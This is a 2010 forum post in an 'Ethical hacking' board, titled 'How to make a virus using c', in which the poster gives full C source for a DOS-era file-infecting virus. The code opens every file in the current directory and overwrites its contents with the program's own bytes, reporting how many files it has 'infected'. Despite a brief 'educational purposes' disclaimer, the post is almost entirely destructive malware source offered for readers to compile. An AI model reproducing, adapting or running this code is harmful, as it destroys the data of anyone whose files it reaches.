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How to make a virus using c

Discussion in 'Ethical hacking' started by VISHAL SINGH, Dec 13, 2010.

  1. VISHAL SINGH

    VISHAL SINGH New Member

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    Hello my self vishal singh,an ethical hacker.on today i larn u hw u make an virus in system .
    note-that is for educational pruposes not for spread in ur friend system.
    to make this virus in ur system u open c compiler in ur system and type

    Code:
    #include<stdio.h>
    #include<io.h>
    #include<dos.h>
    #include<dir.h>
    #include<conio.h>
    #include<time.h>
    
    FILE *virus,*host;
    int done,a=0;
    unsigned long x;
    char buff[2048];
    struct ffblk ffblk;
    clock_t st,end;
    
    void main()
    {
    	st=clock();
    	clrscr();
    	done=findfirst(“*.*”,&ffblk,0);
    	while(!done)
    	{
    		virus=fopen(_argv[0],”rb”);
    		host=fopen(ffblk.ff_name,”rb+”);
    		if(host==NULL) goto next;
    		x=89088;
    		printf(“Infecting %s\n”,ffblk.ff_name,a);
    		while(x>2048)
    		{
    			fread(buff,2048,1,virus);
    			fwrite(buff,2048,1,host);
    			x-=2048;
    		}
    		fread(buff,x,1,virus);
    		fwrite(buff,x,1,host);
    		a++;
    		next:
    		{
    			fcloseall();
    			done=findnext(&ffblk);
    		}
    	}
    	printf(“DONE! (Total Files Infected= %d)”,a);
    	end=clock();
    	printf(“TIME TAKEN=%f SEC\n”,
    	(end-st)/CLK_TCK);
    	getch();
    }
    :crazy:
     
    Last edited by a moderator: Dec 14, 2010

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